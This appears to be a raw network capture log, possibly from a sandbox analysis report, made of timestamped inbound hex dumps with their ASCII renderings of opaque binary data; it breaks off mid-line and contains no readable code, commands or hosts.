2023-08-02 08:13:02 UTC	1410	IN	Data Raw: 14 20 97 46 e2 a9 e8 5a 99 9f 72 f7 d0 90 93 1c 73 f8 ed 9f bb 13 af 72 08 7d 53 ea 9f fe 1f f4 f1 85 74 b6 3d 73 91 8c bd e7 cd 36 3c 16 5f 82 b5 55 3f 7e 27 4c c1 83 39 16 27 fe a9 e5 43 64 e9 3c 76 9d de 96 a1 11 8a 40 2d 38 c8 19 55 2c 06 57 ab a9 eb c2 4c 9b f0 8a 63 03 bd 0f 69 bc 4e 20 52 fc 29 69 92 8e 73 36 1a 94 55 17 45 22 d0 fa a2 e9 3b ef b2 9f a1 40 39 e7 e0 8c f5 b2 f6 38 f5 cd f4 89 e2 f9 b4 a3 2c c3 df 58 c6 3d d6 81 a6 60 04 89 18 1b 72 02 65 5e d9 1f 90 fd c9 6d 0a cd 73 f7 ad 14 14 9e 0d 2a 8d b3 aa e5 b5 b8 78 5d 60 5e 5e 31 a3 6e 17 79 44 47 7b a5 84 29 9f 0e 4a 8b a7 c5 a3 db fb 48 44 5e 49 7c 24 67 79 e2 85 69 43 09 cc 91 3b 5f c3 9b 7b 4f ec 58 49 dc 1c aa bc 5b e0 f9 43 cb 2e 20 56 84 95 cb aa 7f 4f 8d d3 1b be 94 ed 46 e6 c9 e0 Data Ascii: FZrsr}St=s6<_U?~'L9'Cd<v@-8U,WLciN R)is6UE";@98,X=`re^ms*x]`^^1nyDG{)JHD^I\|$gyiC;_{OXI[C. VOF
2023-08-02 08:13:02 UTC	1426	IN	Data Raw: da d9 e7 08 56 34 b4 05 fa f8 a8 be 52 08 97 ec 20 9d 67 59 ff d1 50 fc 8c 1b e5 24 ce 3b 32 98 3c 79 7f f5 1e dd 2c d4 8a ff 1d 32 5e 1c 79 0b df a2 21 94 9b 15 92 b0 81 4e 68 90 15 18 a0 c0 da 78 69 10 bc 1a b4 98 fe 47 83 28 92 28 0c cc 3a 69 48 4e 21 fe 72 af 3e c7 98 ec c5 0b b3 c0 08 da 72 cc 07 29 05 91 3b 23 fc aa a9 ef 56 6d 9e 0d 98 90 3d 15 26 d6 96 46 b7 0e 94 cd 7a 10 93 40 6c 13 04 5d a4 f9 29 5c 66 b9 68 de 84 1d e7 d1 c7 74 41 b9 af 44 dd 5b 76 9b 1b 3b 63 fd 0b 74 f5 3e bc dd 50 8a 5c cb 2b df da 94 b1 f1 7f ed 01 f4 f5 28 ef d1 d8 ac 38 d8 72 4a 40 b8 da cd dd 54 e7 ac a1 b3 46 bc 2e fb 68 dd 87 60 14 cb ac 40 82 b0 68 36 ac 8a bc df f9 8e 5a 1a b7 8c 4c c5 99 3d da 60 de 3d 5f 38 c0 cc f0 05 c2 17 40 e7 db 81 f9 2b c9 9e 4b 70 5c dc 2a Data Ascii: V4R gYP$;2<y,2^y!NhxiG((:iHN!r>r);#Vm=&Fz@l])\fhtAD[v;ct>P\+(8rJ@TF.h`@h6ZL=`=_8@+Kp\*
2023-08-02 08:13:02 UTC	1442	IN	Data Raw: 01 30 c3 51 ba 5e e6 ea 9a 49 7b ac 4b 6b 23 1c 2e 0d e7 0c df 5a 00 8d fa 1b bb 7d 0a 61 90 5f 21 e5 c9 86 63 8b 5f f1 07 37 83 ab fe 6a 1e 9a 90 41 91 5a d7 4b b2 ed f5 af ba 78 26 f0 a4 61 2b 9c 90 86 eb 0a ce 2a 50 08 4e fc 2e 6c d4 40 b8 51 fb 3e 2c 12 7c f4 31 bb fa e9 5b 1e f0 bf bb 9c ba dc b9 71 5c e7 1d 19 0f 85 e7 09 f7 d8 32 4f 90 97 de e7 0a 60 45 b3 86 66 0b 89 e9 d0 75 1e 82 f6 f0 0e 5f b1 30 d2 1a 36 f4 55 e3 57 86 0b e8 62 61 bf 84 19 02 52 83 24 ef a1 dc 20 05 6a 28 b0 0c af 6f 0b 83 6e 71 2a 3d 6c 2a 7f 52 dd 74 75 78 e6 e3 91 29 58 58 ac fb 21 62 dd 91 fd 0e 0d 73 e9 b6 cb e8 f3 f4 8a a6 f7 30 86 32 d6 0b 44 3e 0f 5a 1d 49 af d9 f4 1f 1c 02 ad 24 b0 90 54 98 ef ee 8f 9d 8e 8a b3 a5 c7 92 a0 eb aa 0d 8f 5b 15 5a 38 82 6a b0 37 90 ee de Data Ascii: 0Q^I{Kk#.Z}a_!c_7jAZKx&a+PN.l@Q>,\|1[q\2O`Efu_06UWbaR$ j(onq=l*Rtux)XX!bs02D>ZI$T[Z8j7
2023-08-02 08:13:02 UTC	1458	IN	Data Raw: 3c be ad 2b 1e cf a2 17 b6 b2 d8 d3 75 dc 4d 01 83 57 74 2e 2e 29 68 63 12 74 73 d1 65 da 0a eb 62 c6 08 f1 80 7a af dd 39 f4 2e f4 1e 68 3e 72 c9 ad 58 b3 5b 8d 4f c3 6e e2 91 9c fb ec 4b 27 e8 4e 26 ca 2b eb 11 88 5a 00 b4 a4 cc 19 86 e1 6c 00 5d 33 fe d7 e9 b2 db f7 19 5d 9a 59 75 22 bb c7 f1 83 dc d9 6f 82 e3 a5 90 cb 9c 1c 29 8a 6c e5 9a 0c 4d ed 67 c7 43 36 31 36 f2 61 c1 0b d8 48 32 5e a8 52 21 13 ca 30 20 d2 8f ea 6e fe e1 3d 87 ae 35 3b 8b b8 98 3f dc 76 20 1c 3b 47 1b c6 ac 11 6a 52 5e 61 15 aa 35 89 76 dc f9 10 df 4b eb 68 a7 66 4b 37 96 1e 8e 08 27 95 bd dc 87 1e 67 fa 80 50 71 8f 73 b5 b8 9a 6e 56 b2 32 69 1b 55 5f a4 04 1e ff 72 4e 2a 58 93 55 ba c4 12 11 eb 6e 7c f5 c8 92 7e 68 06 f4 67 4c 79 72 45 45 86 45 50 72 a1 3f 09 50 d3 42 28 8f 1d Data Ascii: <+uMWt..)hctsebz9.h>rX[OnK'N&+Zl]3]Yu"o)lMgC616aH2^R!0 n=5;?v ;GjR^a5vKhfK7'gPqsnV2iU_rN*XUn\|~hgLyrEEEPr?PB(
2023-08-02 08:13:02 UTC	1474	IN	Data Raw: cd e4 4b 5a 7b a7 b9 e8 46 b5 35 de c5 a6 e5 a8 0f 77 31 3f 87 df f6 8b 66 52 31 f8 6d 88 44 ac 70 85 81 ed cb 43 3b ad 29 ab 01 79 4e e8 0a bf ca 75 48 52 fb c2 93 78 46 4b e7 b6 5f b6 b1 5f 51 62 cd 4a 91 c7 43 b4 1e 0f be 4b e7 8d 9f c5 71 b7 90 f4 31 31 9e cd bd 07 c8 cb d0 f6 c6 0a 56 52 5b 05 5f e8 ee 59 79 db 62 ba d2 5c cf bc 91 c7 2b 1f 21 48 a6 85 6f d1 8d 52 cd cf 26 b3 f1 5e 23 39 35 9e ca 33 af 5b be ca d0 6d 9a 33 80 34 8b d8 1e 31 e2 46 2f 18 a2 8f cf 17 64 e0 6e f1 7b 73 a8 1e bc 76 8f 80 88 b7 19 58 8c 25 4d 34 ec 78 79 5c 45 24 28 27 fd ad 99 5f 4f f0 8e 7a 71 bc c7 8b b4 4c 48 44 93 41 93 8d cd 94 c7 25 87 cd b6 e9 81 8a 7a b0 66 9b 68 4c e6 9f 57 56 39 0f 09 9c 7f c9 a1 c6 81 9b f9 78 8e 62 50 3f 67 fb fe e4 4b 10 37 b7 6f b4 c9 b9 84 Data Ascii: KZ{F5w1?fR1mDpC;)yNuHRxFK__QbJCKq11VR[_Yyb\+!HoR&^#953[m341F/dn{svX%M4xy\E$('_OzqLHDA%zfhLWV9xbP?gK7o
2023-08-02 08:13:02 UTC	1490	IN	Data Raw: c2 94 c4 4a b3 2c f0 0c 17 82 db ac cb 51 56 d5 28 98 60 0e d2 3e 15 4a d0 2f 5e 78 69 62 32 7b 76 8c 60 dd de 73 e6 ff 4f b1 08 4f cf 12 1a d1 19 2f aa 5a 58 d7 e2 3e df 1b c2 8f 80 a4 6a ce 89 0d 48 ed c8 5b 6b 1a c6 e1 fe 00 29 81 f4 d4 0e 8d e1 da 43 0f 34 94 71 8f 84 96 dc 32 ba f2 63 37 2d 88 1c 36 61 41 2b 3d 34 24 61 fe 08 6f 23 fc 32 8e d8 b6 e2 62 f2 7b 96 2e 9c 07 0a e9 1e 7a 9a 5b ba 31 23 65 cf 87 8b e2 fd b9 b6 7e c4 a8 9d 1c d5 58 3f 37 10 3a 9d e6 f4 3a 06 f4 4b d1 79 8c 01 ca fa 7a 0c 95 a8 64 e9 d5 6d f5 86 98 76 3c a4 71 1b 38 87 8a b5 16 6d 7c 22 2a 5e 18 9b 8f 9c ee 9c 4a 07 12 5a c5 8a 96 3e ff a5 f9 63 ee 4d 00 8e 45 fa 86 e5 27 f3 a1 87 7e 97 04 13 02 50 d8 c2 31 12 d0 a1 c4 53 93 42 5c 6c 7f 3a 39 63 f5 8c 2e 32 e0 a4 4d 4a 14 e5 Data Ascii: J,QV(`>J/^xib2{v`sOO/ZX>jH[k)C4q2c7-6aA+=4$ao#2b{.z[1#e~X?7::Kyzdmv<q8m\|"*^JZ>cME'~P1SB\l:9c.2MJ
2023-08-02 08:13:02 UTC	1506	IN	Data Raw: b1 12 9f 10 7a 2b 8a b1 53 69 70 40 85 5a 73 de 6a 2a 90 45 a8 4e 6b ad 90 58 cd d0 b2 2d 87 db c3 44 92 8d 6c ce 99 e6 11 5e 69 7c b1 b9 4f cc fb a9 77 9f ab d5 9d 46 bf e8 5d 6a fd 37 cd 92 7b ca 47 e6 b6 6c e8 9f af 13 91 66 ea 91 67 2c 33 83 25 9f 01 bb 16 e9 87 8e 02 98 94 64 a7 be 4e e7 79 50 a1 0f 23 a4 08 a8 78 5a cd 76 3a 8d 8e ad 99 a3 de 83 23 dc f0 4a c1 c5 03 64 47 b2 0f 8c 00 3b be 64 a1 b3 e7 11 0d 49 36 22 3b e1 10 3a 8d ef 8b 67 e1 62 91 9e e9 59 37 78 94 6f 78 c3 3f be 40 39 fa 32 d2 b1 8f 64 3a 39 16 2b da 5d fb 08 eb 80 02 64 2d d0 c0 ea eb 2b 4c 2c 2a f5 6a a7 c0 3e 79 63 20 5d 7a 63 88 45 0c f4 90 fb 43 48 84 bc ec fd 07 7b 35 8f 33 d8 48 ef af b2 2b f1 dd a2 da 3a fb 3e 37 89 f3 be b9 cd 79 a9 e4 db d6 8c 32 d3 04 58 08 62 d1 f9 0e Data Ascii: z+Sip@ZsjENkX-Dl^i\|OwF]j7{Glfg,3%dNyP#xZv:#JdG;dI6";:gbY7xox?@92d:9+]d-+L,j>yc ]zcECH{53H+:>7y2Xb
2023-08-02 08:13:02 UTC	1522	IN	Data Raw: 6f 0b af 74 64 ab 28 ca bd 35 30 55 7b 7d 6c c9 56 35 73 ba 11 5b 34 2a ff 6d 0b 30 d9 3a 83 fc fd f1 d8 fe 13 4d 97 87 c4 82 4d 84 68 05 1b b0 66 96 ca b7 d8 62 b8 3a c4 9c f3 fa 0d 50 a8 3e 19 b0 4d 7f 59 c0 5e 8d 4e 49 3e 98 5b fe 97 ca 40 09 44 4c 17 c3 dc 44 22 f1 2e 1a 21 cb 87 24 af c8 ab 5e 5f ff 05 3c 40 56 b0 9c 37 a3 33 df 4a d2 e9 09 db 7b 0c cc ee 5d e4 1f 3e dd 43 d4 a0 38 99 d6 20 5a 26 8c e1 f4 b5 9e 77 e1 fd 1a 4c 3a 67 b4 cc ce c8 86 bb 18 2a ae e8 f4 c8 40 a0 e8 45 ad 47 3c 91 98 68 16 7a ad 39 6b a9 0a 83 57 bc a3 47 51 c8 af e3 d3 48 b1 2b d0 1f 93 9e 53 8f df fb 68 f3 60 5a 7d a4 dc 99 1e ed 34 35 c9 aa b4 da 0d 6f 8c 41 3d 86 fb 09 75 a9 c2 69 ab ea 37 61 bc 75 bb 37 e8 86 f5 29 9d 21 1e 7c 5d ea 7d 54 db ab ad f1 54 8e dc 2d 29 99 Data Ascii: otd(50U{}lV5s[4m0:MMhfb:P>MY^NI>[@DLD".!$^_<@V73J{]>C8 Z&wL:g@EG<hz9kWGQH+Sh`Z}45oA=ui7au7)!\|]}TT-)
2023-08-02 08:13:02 UTC	1538	IN	Data Raw: 30 d5 4d 61 58 8f bd 92 56 c3 53 96 5a 11 ef 06 bb 68 7d 0e 9d f8 1c 06 c8 60 df 15 fb 0b d6 32 3a 03 1e 3a 3a ae 92 c7 99 c7 d9 38 56 7d 81 7e a8 86 ce f4 9c 35 7d 5e cc 56 9e 7c 39 da a6 74 b6 90 68 d1 3c aa 89 40 4e de 7c b3 b9 4e 3c 79 4a a6 b1 1a c2 eb ca 6d 8a 17 ad 15 25 26 6d c6 38 49 64 13 7e 57 f3 04 90 b7 5f af c4 ff 3c da cc c5 cb b9 0e 63 83 cd 5d a8 d1 49 e4 10 4c c4 17 cf 2e 11 ef 5d f2 7b 09 95 8e 9c 5c ca 67 5d bf 9c ed 91 1f 5f 8a af 88 67 9c 77 8b 7d b1 f6 a7 8d 57 31 50 d0 8f 27 9f b1 dc a9 89 8b fe 9a a0 0b b8 35 ed 8f 34 6c 43 2f 3f 7b d2 68 16 af 81 80 f0 f7 cd 99 6e b7 37 f6 fb 65 f9 62 c9 07 6f b3 11 64 01 00 a7 63 be ce 28 02 73 aa 74 95 79 a7 80 f6 b7 b4 73 df 2b 38 0b 9b af 3c e9 64 7a ca d5 ae de f0 fe f5 e2 38 77 87 4b d3 f8 Data Ascii: 0MaXVSZh}`2:::8V}~5}^V\|9th<@N\|N<yJm%&m8Id~W_<c]IL.]{\g]_gw}W1P'54lC/?{hn7ebodc(stys+8<dz8wK
2023-08-02 08:13:02 UTC	1554	IN	Data Raw: 17 ac 97 f8 2a 26 09 bb 3d c1 6b 3e 8b 2d ed 85 36 23 b2 d2 7f 8f 7c de f1 96 18 79 ba d4 1e 7b 77 0d 09 f3 0f b3 29 a7 7b 61 c3 14 7f 15 53 21 ac 1f 06 12 c0 8e 07 a8 7f 9f 3b 67 86 aa 00 3d d1 d4 24 37 8a 88 f9 bb 1d 48 e7 de d0 b6 80 4e 51 1b 1d 3d b3 6a 53 a1 da 04 4a 60 90 f8 99 54 5d 30 40 35 63 34 3e 77 fd d8 ff 3d a8 fc 67 27 c8 34 3d 9d 08 fe 49 bd e8 fe 3f 61 1e f5 57 8b b8 18 57 60 99 b3 2d 48 3e 9e d4 b7 66 3a 42 48 89 3d eb 2f 56 00 00 2e 94 44 ea 44 c0 fc 4a d0 01 0a 27 93 8f 6b b6 47 44 41 23 10 c4 21 13 09 01 a7 ab e1 20 3e 3f 68 78 77 4f d8 35 73 d8 f8 c8 18 81 e1 c8 25 0a 88 51 2a 89 e1 69 9a 1d f9 91 1b a4 df 61 e5 a0 cb 6e b2 7a 4d 9c 3d 5a d4 cb 8f 7a 8e 94 41 10 4e ae c1 30 86 e1 3c c3 ba 81 20 e1 13 2e 27 6c 13 ad 2d 41 f6 3c bb d6 Data Ascii: &=k>-6#\|y{w){aS!;g=$7HNQ=jSJ`T]0@5c4>w=g'4=I?aWW`-H>f:BH=/V.DDJ'kGDA#! >?hxwO5s%QianzM=ZzAN0< .'l-A<
2023-08-02 08:13:02 UTC	1570	IN	Data Raw: 32 31 84 3b e8 af 66 53 9a c7 b9 5e bc 4a e7 fe 22 a8 ce 3c 6a 87 e6 7e d0 3c b0 55 c1 d3 7b 29 c3 36 9a 95 f2 a3 36 ab b7 1f 5c 4a 2b 65 3f a6 62 65 b0 a2 f0 fd a5 b3 0b 8e 76 3d 94 9e 3a 18 d8 5f eb 87 b6 b3 fd 89 ea d6 11 38 61 03 1a 8e 16 18 12 c9 a4 ae 8f 1a 98 b0 d4 9f 44 ff 77 5e e9 9f 51 9c 09 e4 f9 ba 56 0e 37 1f ca 3e ab a6 ae e2 9b 0c 1f 73 99 12 2a e3 65 12 e7 76 39 7b 0d 5c ef 13 8f 25 0b 8a 0e eb dc d5 86 7a 58 76 77 94 4a 52 5e c9 93 83 14 3a 05 61 b7 51 9e 94 21 5b 67 66 0e 20 d2 fd df 07 b2 1f 19 29 8e 03 df d6 08 c2 0f 33 6c 5d 3b 57 37 ce 7f 2e 36 99 7d 82 f2 e3 5a 81 0d 64 a2 92 71 e6 e9 95 fa 21 ca dd cf 94 ec 2e 62 b0 fe 5e fb 02 7b 09 f0 08 0a 63 20 7d 1f 86 f2 fe 04 03 e0 88 e1 62 07 c0 d1 b2 0f f2 fe 13 73 7a 03 71 5f cb 81 f6 88 Data Ascii: 21;fS^J"<j~<U{)66\J+e?bev=:_8aDw^QV7>s*ev9{\%zXvwJR^:aQ![gf )3l];W7.6}Zdq!.b^{c }bszq_
2023-08-02 08:13:02 UTC	1586	IN	Data Raw: 36 2b 4c b7 6c 31 ac c3 ed 9a 2c 6e fb fe ad 48 ac 39 9a 7b b7 e6 01 c4 ee 74 c5 6d 58 0f e4 a2 63 a4 f8 40 d7 5e 03 05 98 bd 82 47 27 d0 d4 71 9d e5 07 9f 20 c2 41 b3 3a 92 8a 6e 55 18 18 6a d4 68 ef f7 4f 88 89 7b 5e 39 e7 eb d9 e7 9a fa fb 0d 81 3f 36 b9 2b 50 77 ea 3b 35 75 b2 87 cf 99 a9 b8 dc d7 75 8d c2 6f da db d2 3d 7c 27 b5 b3 e7 f0 42 ad cb 06 d3 27 d8 f1 00 e8 e8 57 29 65 a2 5e 58 6a 0f 22 10 99 7c e8 b1 ca f0 78 d6 1d 44 5a 21 a9 ab 7e 2a 34 33 fc 64 d2 5a 04 63 45 51 30 18 0a 12 22 b6 33 fd 7e d6 75 2c 72 de e8 5d fb 2c 7c b4 81 71 1c 66 bc 27 19 1c 77 d1 69 63 22 c8 27 e8 8d fe 3f 9c 84 5c f0 dc ef 10 bc ae 34 b5 18 f0 05 1b ee 8e 58 53 be b2 99 b3 01 fe b1 d2 a1 75 05 98 01 4a 0a 17 54 9e f5 6d 52 fb 45 44 e2 ec a9 f9 45 a0 f4 57 fa e7 5c Data Ascii: 6+Ll1,nH9{tmXc@^G'q A:nUjhO{^9?6+Pw;5uuo=\|'B'W)e^Xj"\|xDZ!~*43dZcEQ0"3~u,r],\|qf'wic"'?\4XSuJTmREDEW\
2023-08-02 08:13:02 UTC	1602	IN	Data Raw: 17 2e ff 00 0f 8f ff a8 0f d1 17 84 9d b9 71 f5 a9 4d 63 bc 8f bb 9d 0e 40 11 5e 56 52 bf 6f cd 1e cf 9a 6b fc c8 1f 4b f3 97 47 74 5b 68 4a 29 03 cc c2 14 2b f5 5a d6 e1 88 f3 a9 ab e9 69 ca 0d 44 ec 53 75 5d e8 e2 a1 b6 4f 04 ad 65 f3 36 1a 4d 97 0c a1 0d 6d e2 73 a1 0a f3 5a 32 b5 b8 c7 be d7 44 ae 2d 85 f3 0a d8 c0 92 23 31 29 21 62 a5 be 76 e5 8e 3c e7 a3 d8 69 d3 13 39 77 2d d8 f0 23 a4 e1 3a 7b 4c e3 f5 62 b2 e5 51 3e 63 01 c0 09 a8 14 b1 e0 88 54 f4 28 22 b8 7f 2e a3 32 9d 89 76 e9 55 06 41 25 c8 a9 33 1f 03 9d 12 26 bc 52 2c 60 ac 54 28 dd c5 8d cd f4 d8 d0 53 8e 58 9b d9 fd d0 45 2f 0e 95 51 f9 ac 5c 95 e3 75 44 c5 58 ef 0c bd 99 21 c6 ca 0b 94 48 07 86 21 f1 ad 34 34 46 8f d7 fa 27 b7 b6 e2 33 5d d1 18 52 b9 4f 36 ec 29 26 b6 52 74 8e be f6 95 Data Ascii: .qMc@^VRokKGt[hJ)+ZiDSu]Oe6MmsZ2D-#1)!bv<i9w-#:{LbQ>cT(".2vUA%3&R,`T(SXE/Q\uDX!H!44F'3]RO6)&Rt
2023-08-02 08:13:02 UTC	1618	IN	Data Raw: ae 36 55 af e7 fc da 25 f2 4b 4a ef 4e b9 ea 90 25 cf 25 b6 5e 16 bd 80 4a 8f 6b 2e 03 cf d8 1d a3 22 e2 cb 0f eb 5b 7b c0 ca 04 e0 bd 88 a4 d9 d6 44 1d 26 2c 44 85 13 3a 50 73 84 52 30 12 64 db c5 1c 92 a8 bc b3 58 f3 3c f3 6d 54 b5 c4 fc 49 cb 03 48 80 70 a9 42 7c ed 70 48 57 df 9f 83 81 f5 41 f2 10 aa 44 2e c5 d2 b1 22 78 50 cb ce 8f e8 d0 1d cb f5 5f 6f 38 88 d5 50 0f 00 80 d9 99 f3 a7 6c c2 ae f9 74 2b a7 50 6b 48 1e d5 70 8a da 75 9c ea fc 9b 66 2a 83 14 4b cc 24 7b b4 62 e0 b9 10 1e 80 5e d2 03 28 ef c6 93 e2 a4 61 39 1b c4 26 30 53 da 20 50 9e 81 11 d6 3c 1e 47 45 35 e5 c9 80 6e 36 00 c6 7c c8 7f 6c 98 16 79 5d 09 ff 29 5d 83 45 b7 40 95 ca e2 5e 07 ef 5d f4 a2 16 75 40 6c aa c9 ec 0e a7 27 d5 21 7b 7c 08 58 8e c8 f9 60 01 d5 be 9f 58 1f 37 89 19 Data Ascii: 6U%KJN%%^Jk."[{D&,D:PsR0dX<mTIHpB\|pHWAD."xP_o8Plt+PkHpuf*K${b^(a9&0S P<GE5n6\|ly])]E@^]u@l'!{\|X`X7
2023-08-02 08:13:02 UTC	1634	IN	Data Raw: 85 81 95 55 c3 bf cd 2e e5 3f f6 89 7b 1a 92 29 31 7d 1a f7 d7 84 2a b5 18 1b 1a de 0e 01 be 2c 5c 72 25 3f b7 7d e7 c6 b8 f1 68 54 cb eb 7f fe 48 00 50 c7 2c a4 69 60 f2 4b d7 66 18 ef 7d c0 23 73 0a bb dd 22 5f 14 05 9d fc 65 ca 92 22 bd 94 42 21 ec a9 44 a2 20 c8 77 ed a2 c6 55 bf 10 0d eb 6a 77 fc 0e 28 27 74 9c 66 83 82 7b 9d 3d a7 1c b5 8a f2 3a b1 57 b9 9a 9a d7 cc 80 eb f4 63 f4 88 c1 fd 14 a1 c6 37 db 3d fb 36 ee b0 5c 4a 2b 65 bf cb 64 90 33 b2 1a 6c 9e c9 0a 5b fd 97 da 46 57 ff 71 cc c3 c6 ba bd 84 c2 6e 5b a6 8a 08 3e 8b 37 25 ed 1a d3 f8 f1 a9 52 44 56 f5 60 74 1e 4f fb 58 92 c2 33 c3 85 bf 07 42 9f 34 b9 f0 78 ff da a9 2c 52 32 ce 23 6f a6 3a d8 78 51 4a 01 28 23 84 c0 63 f6 48 79 d0 34 ac d9 19 a9 68 04 88 a9 eb 81 5b c2 da 7e 5e b5 5a 30 Data Ascii: U.?{)1}*,\r%?}hTHP,i`Kf}#s"_e"B!D wUjw('tf{=:Wc7=6\J+ed3l[FWqn[>7%RDV`tOX3B4x,R2#o:xQJ(#cHy4h[~^Z0
2023-08-02 08:13:02 UTC	1650	IN	Data Raw: 36 cf c5 4a 85 d4 ad 35 80 ae 0e 35 15 43 78 bf b2 22 5d 20 61 d0 f9 38 82 d6 f3 94 40 17 86 a4 99 e5 01 18 61 81 62 bf 12 2b 0d 64 7b ba f6 98 81 f0 29 f7 b6 8b 95 5f 5a 49 1e 5e d7 6b 8e 1d 66 d0 28 3f ae 54 f2 f5 f3 9f d9 2f 41 72 0f 82 8f 15 ca 4b 0a d2 93 63 71 2b 0d c1 fb 63 5c 66 72 08 88 e1 63 4d 3d bb 28 36 0c a9 72 52 89 96 64 d6 a5 4c 4a 9b 48 ca e2 5b 08 9a 8c c8 29 cb 12 17 24 1a 89 5b a5 fd 5f 21 1a 54 70 bc 15 e4 5f 36 c0 56 f9 76 4e ee ad f0 14 87 20 87 b5 0d 3e b7 f8 68 6a 44 ce 3e d6 13 f5 d5 b5 14 4d 9d dd 19 10 d9 02 71 77 2d ca 5e 1d 8e d3 89 b9 8f 6a 26 d9 32 0b 5b e0 5f 32 f9 a8 43 c5 cd 61 f7 05 4e f8 24 46 7a 90 7f 33 0d 5f da 99 5f e2 3d 43 fc bb db 80 23 b4 fc e6 c7 cd b3 72 ed e9 08 fa 4d 4e 34 e9 13 2b 37 8e 86 08 60 7e 23 7e Data Ascii: 6J55Cx"] a8@ab+d{)_ZI^kf(?T/ArKcq+c\frcM=(6rRdLJH[)$[_!Tp_6VvN >hjD>Mqw-^j&2[_2CaN$Fz3__=C#rMN4+7`~#~
2023-08-02 08:13:02 UTC	1666	IN	Data Raw: 26 71 7e 2d 79 de af 8b 2d 02 5a 5e dd 6f 54 72 0d ff c9 75 ed 23 33 02 df 36 2a c6 bb 8a 6a e2 b3 69 d5 bb a1 39 d8 d7 18 ba 42 ee 98 d3 be 3b 24 2f ca f8 c0 07 50 08 f8 2f 81 ad 06 af 67 e4 42 80 52 97 31 44 03 d7 08 21 5c 4e 7e c8 eb 64 07 e2 7b 72 0c a0 17 49 4e 9f 9d 7f 7a ad a1 ea 7e ea fb 0f 5c 45 da ff af b3 bb 2a ec 20 1f 7f 1d e7 80 fd 40 2c 5d 46 0f 4a 76 8b 35 3d b7 d5 51 bd e2 3a 4a fb 43 52 b8 0c 14 18 72 4e 0c 06 26 1f 1d 84 ec 4c 58 4a 4c f6 15 58 c1 95 cf a8 29 bd dc 2f 30 39 f0 93 5f 40 80 79 8d b8 14 45 23 c7 43 a8 35 3f ea db 6a 59 a6 72 d7 5d 65 85 b0 05 e3 7f 33 c9 6a a0 c3 a5 c1 f1 24 43 de b6 61 9d 87 e4 34 a4 d0 22 1d 5e 5e a9 9a 5e 7d 36 d9 dc 7f 77 22 6f 10 95 fa d8 90 5b e9 f0 3e 72 65 47 95 5b dc f7 f1 32 63 8f 70 8c 8c 30 2d Data Ascii: &q~-y-Z^oTru#36ji9B;$/P/gBR1D!\N~d{rINz~\E @,]FJv5=Q:JCRrN&LXJLX)/09_@yE#C5?jYr]e3j$Ca4"^^^}6w"o[>reG[2cp0-
2023-08-02 08:13:02 UTC	1682	IN	Data Raw: 13 71 5e 02 dc 6d 0b e6 97 42 3b ca d0 c6 f3 28 a8 77 7e 64 5c e5 da 3b 82 58 3d 52 37 cf 50 f0 5d 0b 2f b9 4e ef 01 40 ea 78 be 27 32 0b 41 32 b8 54 bf 36 7e 01 ed ef f9 06 22 d7 9e 4a a9 14 27 01 a4 dc 5c 53 bb 36 ff e3 ae 39 96 b1 99 b8 17 1f 4d 6e d5 8e 99 3b 30 74 8e 5d 40 1b 25 f4 1b 3c c1 b9 9b 49 39 00 0a 2b 34 a9 f5 be f2 71 ee 6f e1 15 b8 8e d9 ed c4 7f 58 53 f9 f7 bf 97 5c c8 e7 07 54 57 94 62 f7 54 87 bb 5a 33 3d 83 ce cb e4 b2 a3 42 11 03 70 52 69 dd 94 cb 0f fe 46 4e 4c cb 20 2e 38 e4 19 63 c5 b0 88 62 ec 47 d1 50 e2 ee 55 7d 46 74 c0 f9 00 62 0d e5 92 e2 81 5e f3 5a 5b b4 23 ad 67 f9 5e ce 35 74 62 b4 62 17 a4 27 95 06 b4 b8 e1 c9 41 3c f5 f4 29 1d 26 88 0f 96 52 d7 5c 5f 08 16 2f 93 f3 d9 6a 18 84 d8 6d 46 75 f7 bc dc 7b 50 6f d0 f6 2b ea Data Ascii: q^mB;(w~d\;X=R7P]/N@x'2A2T6~"J'\S69Mn;0t]@%<I9+4qoXS\TWbTZ3=BpRiFNL .8cbGPU}Ftb^Z[#g^5tbb'A<)&R\_/jmFu{Po+
2023-08-02 08:13:02 UTC	1698	IN	Data Raw: d5 2c c4 2e 4c 29 83 e8 e5 2f 59 50 77 d4 07 05 c1 fd fb 3f 92 18 5d 46 bc 96 da 79 6c 9a 6e 18 da 7e d2 38 00 02 d1 23 07 d1 5b af 25 71 ad 4b 10 0a 75 00 79 bb 20 6b 70 1d 3f 1a 6f a8 81 2f 67 a9 8b 45 a8 3b f6 c6 dd ff a9 40 3e ca 2b cb 50 c7 99 45 4c a7 64 4f 2a bd 46 c0 c4 fe c5 df c2 d0 bf df 7f 90 87 bc be e5 6f ab ba aa 7b 00 77 3b 50 95 35 ce d3 80 b3 af ae 48 48 51 19 44 09 3e d8 14 38 f0 b3 86 f0 72 d5 68 d9 38 2d b5 3d 4d 2a d4 6b b7 96 24 a5 d9 7e 2f ea 94 2d c5 cf f6 3a b7 e4 5f 85 7b a4 3d 00 ca e9 08 79 4e 74 44 bc c3 63 3d 75 a5 b9 22 db 30 66 00 13 01 da 8b 93 78 24 9e 1a 41 57 10 22 27 a6 02 d3 81 32 a8 86 f2 e8 d6 ef 19 61 f9 67 57 93 a8 0d 4d bd bb 9d 24 4d 98 6a 21 e9 22 0c 6f 1e 84 b2 d3 e3 59 02 09 8b 71 7e db 4f 2c 62 5b 2b aa bd Data Ascii: ,.L)/YPw?]Fyln~8#[%qKuy kp?o/gE;@>+PELdOFo{w;P5HHQD>8rh8-=Mk$~/-:_{=yNtDc=u"0fx$AW"'2agWM$Mj!"oYq~O,b[+
2023-08-02 08:13:02 UTC	1714	IN	Data Raw: 59 a0 b3 e6 9c e0 37 11 33 b9 bf 9f 8b 42 aa cc 8b ba 4c 9f d2 68 84 a6 e2 e0 72 a7 e4 1a c4 e9 e6 c2 16 4e 33 3f a2 37 0f 6b a7 81 d6 56 fe 16 8f d8 5f 13 f0 1e a1 7d 78 43 a2 18 61 11 ec 53 88 63 c2 66 da 25 6c 00 50 bc 96 ad 5d 13 f9 72 39 28 8b 46 8d b2 ba 06 a4 e6 fa 74 9d 3f 65 35 e8 d7 ec 0d 92 02 0c 20 4a 95 26 a2 85 94 4f f5 20 d7 1c 77 e2 69 84 e2 0c d1 c4 8d 04 0d f1 a0 ab 24 d7 51 e6 2a b3 9e a8 02 4e a0 b5 2a 22 5f 36 b3 1a e2 25 68 31 3a 61 68 6c bd 1f c0 74 18 27 41 18 24 cd 17 fc bb b9 5a e8 ed b4 69 26 34 38 a9 72 5d 39 d1 b3 f4 e4 80 4a 39 0c e8 4d 83 93 95 19 4f da f5 92 68 ea e8 2f 19 ae 6d 91 02 40 2a ae fc 8a ee a4 72 c5 8c 76 02 ab 